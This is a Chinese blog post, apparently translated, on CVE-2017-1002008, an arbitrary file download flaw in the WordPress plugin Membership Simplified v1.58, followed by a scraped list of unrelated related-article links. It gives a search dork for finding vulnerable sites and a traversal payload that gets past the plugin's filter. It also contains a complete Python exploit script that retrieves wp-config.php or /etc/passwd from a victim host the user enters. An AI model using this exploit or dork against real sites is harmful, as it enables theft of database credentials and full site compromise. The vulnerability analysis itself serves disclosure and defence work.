WordPress插件会员简化1.58 -任意文件下载漏洞(附poc)
今天我们将讨论在WordPress插件WordPress插件与重点会员简化v1.58作为这个剧本的创作时间不打补丁的扶贫开发实践。脆弱脚本如下:

CVE-ID:cve-2017-1002008
当然,也可以利用Google来找
inurl:/wp-content/plugins/membership-simplified-for-oap-members-only

问题
下面是上面脚本的一些问题:
①该脚本不检查有效登录WordPress的用户,也不保护自己免受直接访问-这使得它任意(不受限制)的访问
②4行的脚本允许任何人通过download_file参数调用文件下载。任何人都可以直接调用它的脚本。
③第5行是一个坏的企图保护自己从点斜线攻击。
④脚本的其余部分加载强制下载的内容配置
发展有效载荷
所以假设目标example.com运行插件;我们会首先考虑利用它作为:
http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=../../../wp-config.php
然而,这将导致以下网址。
http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=wp-config.php
正如你所看到的,这将给我们一个404,因为WP配置文件不在插件文件夹。这是因为第5行。当我们说这是在保护一个坏的企图让我们把字符串替换和修改我们的攻击点。
http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././wp-config.php
这不是标准,但结果是字符串替换函数会在执行前为我们删除错误的比特。它传递一次之前传递给它下载字符串(感谢上帝为此)。用字符串替换函数删除红色部分时。
之后, 我们基于WordPress标准结构移动3个目录。我们不能强调在WordPress配置文件中包含的信息种类,攻击者可以进一步建模的威胁如下:
①使用配置文件中的数据库连接信息连接到WordPress数据库实例
②更改数据库中的用户密码
③登录到网站并上传一个web外壳,实现网站上的远程代码执行。
一个简单的开发已为此工程如下:

以上我们就了解如何发展这种简单的利用从咨询信息在Web攻击SlideShare–自动化从公告创造现实世界的攻击的文章了。
最后附上我们exp利用的脚本
import requests
import string
import random
from urlparse import urlparse
print "---------------------------------------------------------------------"
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
if file_choice == "1":
payload="..././..././..././wp-config.php"
elif file_choice == "2":
payload="..././..././..././..././..././..././..././..././etc/passwd"
else:
print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
quit()
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
target=victim+slug
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def checkPlugin():
pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
pluginExistence = pluginExists.status_code
if pluginExistence == 200:
print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
exploit()
else:
print "Target has a funny code & might not be vulnerable, I will now exit\n"
quit()
def exploit():
getThatFile = requests.get(target)
fileState = getThatFile.status_code
breakApart=urlparse(victim)
extract_hostname=breakApart.netloc
randomDifferentiator=randomizeFile()
cleanName=str(randomDifferentiator)
if fileState == 200:
respFromThatFile = getThatFile.text
if file_choice == "1":
resultFile=extract_hostname+"_config_"+cleanName+".txt"
print resultFile
pwned=open(resultFile, 'w')
pwned.write(respFromThatFile)
pwned.close
print "Wordpress Config Written to "+resultFile
else:
resultFile=extract_hostname+"_passwd"+cleanName+".txt"
pwned=open(resultFile, 'w')
pwned.write(respFromThatFile)
pwned.close
print "Passwd File Written to "+resultFile
else:
print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
if __name__ == "__main__":
checkPlugin()
参考来源https://www.alien-within.com/wordpress-plugin-membership-simplified-v1-58-arbitrary-file-download
翻译:admin-神风
WordPress插件会员简化1.58 -任意文件下载漏洞(附poc)的更多相关文章
- PHP代码审计笔记--任意文件下载漏洞
在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件. 0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...
- 【代码审计】XYHCMS V3.5任意文件下载漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析
0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4 更新时间:2017-09-13 程序源码下载:http://www ...
- 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析
0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- 代码审计-(Ear Music).任意文件下载漏洞
0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...
- 任意文件下载漏洞的接口URL构造分析与讨论
文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...
- dzzoffice 任意文件下载漏洞分析
dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始: elseif($_GET['do']=='move'){ $obz=trim($_ ...
- 代码审计-phpcms9.6.2任意文件下载漏洞
漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...
随机推荐
- 导出数据excel表--身份证号后三位是0--〉还原
导出数据excel表的身份证号后三位是0,怎么办? 数据导出前,在身份证号前加任意符号即可 例如: 结果
- 用java代码调用shell脚本执行sqoop将hive表中数据导出到mysql
1:创建shell脚本 touch sqoop_options.sh chmod 777 sqoop_options.sh 编辑文件 特地将执行map的个数设置为变量 测试 可以java代码传参数 ...
- HDU 3790 最短生成树 (最短路)
题目链接 Problem Description 给你n个点,m条无向边,每条边都有长度d和花费p,给你起点s终点t,要求输出起点到终点的最短距离及其花费,如果最短距离有多条路线,则输出花费最少的. ...
- LintCode题解之子树
思路: 最简单的方法,依次遍历比较就可以了. AC代码: /** * Definition of TreeNode: * public class TreeNode { * public int va ...
- Linux内核线程kernel thread详解--Linux进程的管理与调度(十)【转】
转自:http://blog.csdn.net/gatieme/article/details/51589205 日期 内核版本 架构 作者 GitHub CSDN 2016-06-02 Linux- ...
- 安全测试===CSRF攻击简介
http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html
- B2旅游签证记
先去https://ceac.state.gov/ceac/,选择DS-160表格,在线申请登记个人信息 ,选择大事馆“CHINA BEIJING”和验证码,点 Start an Applicatio ...
- UBuntu14.04 --vim安装YouCompleteMe插件
说明 我电脑的系统参数(用 uname -a命令查看)如下: Linux avyn-Lenovo --generic #-Ubuntu SMP Tue Mar :: UTC i686 i686 i68 ...
- hdu 5914(斐波拉契数列)
Triangle Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Others)Total Su ...
- hdu 5839(三维几何)
Special Tetrahedron Time Limit: 4000/2000 MS (Java/Others) Memory Limit: 65536/65536 K (Java/Othe ...